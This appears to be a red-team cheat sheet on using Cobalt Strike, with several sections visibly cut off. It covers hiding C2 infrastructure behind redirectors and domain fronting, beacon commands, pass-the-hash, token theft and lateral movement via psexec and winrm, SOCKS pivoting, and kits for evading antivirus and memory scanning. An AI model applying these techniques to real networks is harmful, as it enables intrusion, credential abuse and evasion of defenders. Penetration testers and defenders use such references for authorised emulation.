> Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.
* [NTLM Relaying via Cobalt Strike](#ntlm-relaying-via-cobalt-strike)
* [References](#references)
## Infrastructure
### Redirectors
```powershell
sudo apt install socat
socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
```
### Domain Fronting
* New Listener > HTTP Host Header
* Choose a domain in "Finance & Healthcare" sector
## OpSec
**Don't**
* Use default self-signed HTTPS certificate
* Use default port (50050)
* Use 0.0.0.0 DNS response
* Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D`
**Do**
* Use a redirector (Apache, CDN, ...)
* Firewall to only accept HTTP/S from the redirectors
* Firewall 50050 and access via SSH tunnel
* Edit default HTTP 404 page and Content type: text/plain
* No staging `set hosts_stage` to `false` in Malleable C2
* Use Malleable Profile to taylor your attack to specific actors
### Customer ID
> The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike 3.9 and later embed this information into the payload stagers and stages generated by Cobalt Strike.
* The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9 and later.
* The trial has a Customer ID value of 0.
* Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool
## Payloads
### DNS Beacon
* Edit the Zone File for the domain
* Create an A record for Cobalt Strike system
* Create an NS record that points to FQDN of your Cobalt Strike system
Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record.
* SourcePoint is a C2 profile generator https://github.com/Tylous/SourcePoint
Example of syntax
```powershell
set useragent "SOME AGENT"; # GOOD
set useragent 'SOME AGENT'; # BAD
prepend "This is an example;";
# Escape Double quotes
append "here is \"some\" stuff";
# Escape Backslashes
append "more \\ stuff";
# Some special characters do not need escaping
prepend "!@#$%^&*()";
```
Check a profile with `./c2lint`.
* A result of 0 is returned if c2lint completes with no errors
* A result of 1 is returned if c2lint completes with only warnings
* A result of 2 is returned if c2lint completes with only errors
* A result of 3 is returned if c2lint completes with both errors and warning
## Files
```powershell
# List the file on the specified directory
beacon > ls <C:\Path>
# Change into the specified working directory
beacon > cd [directory]
# Delete a file\folder
beacon > rm [file\folder]
# File copy
beacon > cp [src] [dest]
# Download a file from the path on the Beacon host
beacon > download [C:\filePath]
# Lists downloads in progress
beacon > downloads
# Cancel a download currently in progress
beacon > cancel [*file*]
# Upload a file from the attacker to the current Beacon host
beacon > upload [/path/to/file]
```
## Powershell and .NET
### Powershell commands
```powershell
# Import a Powershell .ps1 script from the control server and save it in memory in Beacon
beacon > powershell-import [/path/to/script.ps1]
# Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned.
beacon > powershell [commandlet][arguments]
# Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto
beacon > powerpick [commandlet] [argument]
# Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs
:warning: OPSEC Advice: Use the **spawnto** command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe
- **portscan:** Performs a portscan on a specific target.
- **runas:** A wrapper of runas.exe, using credentials you can run a command as another user.
- **pth:** By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process. \
:exclamation: This module needs Administrator privileges.
- **steal_token:** Steal a token from a specified process.
- **make_token:** By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user.
- **jump:** Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target. \
:exclamation: The **jump** module will use the current delegation/impersonation token to authenticate on the remote target. \
:muscle: We can combine the **jump** module with the **make_token** or **pth** module for a quick "jump" to another target on the network.
- **remote-exec:** Execute a command on a remote target using psexec, winrm or wmi. \
:exclamation: The **remote-exec** module will use the current delegation/impersonation token to authenticate on the remote target.
- **ssh/ssh-key:** Authenticate using ssh with password or private key. Works for both linux and windows hosts.
:warning: All the commands launch powershell.exe
```powershell
Beacon Remote Exploits
======================
jump [module] [target] [listener]
psexec x86 Use a service to run a Service EXE artifact
psexec64 x64 Use a service to run a Service EXE artifact
psexec_psh x86 Use a service to run a PowerShell one-liner
:warning: Covert VPN doesn't work with W10, and requires Administrator access to deploy.
> Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.
```powershell
# Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage.
* [Cobalt Strike Community Kit](https://cobalt-strike.github.io/community_kit/) - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike
### Elevate Kit
UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)
> The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows
### Artifact Kit
> Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.
> The Sleep Mask Kit is the source code for the sleep mask function that is executed to obfuscate Beacon, in memory, prior to sleeping.
Use the included `build.sh` or `build.bat` script to build the Sleep Mask Kit on Kali Linux or Microsoft Windows. The script builds the sleep mask object file for the three types of Beacons (default, SMB, and TCP) on both x86 and x64 architectures in the sleepmask directory. The default type supports HTTP, HTTPS, and DNS Beacons.
> The Mutator Kit, introduced by Cobalt Strike, is a tool designed to create uniquely mutated versions of a "sleep mask" used in payloads to evade detection by static signatures. It utilizes LLVM obfuscation techniques to alter the sleep mask, making it difficult for memory scanning tools to identify the mask based on predefined patterns, thereby enhancing operational security for red team activities.
The OBFUSCATIONS variable can be `flattening`,`substitution`,`split-basic-blocks`,`bogus`.
> An advanced in-memory evasion technique that spoofs Thread Call Stack. This technique allows to bypass thread-based memory examination rules and better hide shellcodes while in-process memory.
Thread Stack Spoofer is now enabled by default in the Artifact Kit, it is possible to disable it via the option `artifactkit_stack_spoof` in the config file `arsenal_kit.config`.
* [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI)
* [Red Team Ops with Cobalt Strike (2 of 9): Infrastructure](https://www.youtube.com/watch?v=5gwEMocFkc0)
* [Red Team Ops with Cobalt Strike (3 of 9): C2](https://www.youtube.com/watch?v=Z8n9bIPAIao)
* [Red Team Ops with Cobalt Strike (4 of 9): Weaponization](https://www.youtube.com/watch?v=H0_CKdwbMRk)
* [Red Team Ops with Cobalt Strike (5 of 9): Initial Access](https://www.youtube.com/watch?v=bYt85zm4YT8)
* [Red Team Ops with Cobalt Strike (6 of 9): Post Exploitation](https://www.youtube.com/watch?v=Pb6yvcB2aYw)
* [Red Team Ops with Cobalt Strike (7 of 9): Privilege Escalation](https://www.youtube.com/watch?v=lzwwVwmG0io)
* [Red Team Ops with Cobalt Strike (8 of 9): Lateral Movement](https://www.youtube.com/watch?v=QF_6zFLmLn0)
* [Red Team Ops with Cobalt Strike (9 of 9): Pivoting](https://www.youtube.com/watch?v=sP1HgUu7duU&list=PL9HO6M_MU2nfQ4kHSCzAQMqxQxH47d1no&index=10&t=0s)
* [A Deep Dive into Cobalt Strike Malleable C2 - Joe Vest - Sep 5, 2018 ](https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b)
* [Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019](https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/)
* [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE – UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/)
* [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon)
* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)
* [NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse](https://rastamouse.me/ntlm-relaying-via-cobalt-strike/)
* [Cobalt Strike - User Guide](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)
* [Cobalt Strike 4.6 - User Guide PDF](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-6-user-guide.pdf)
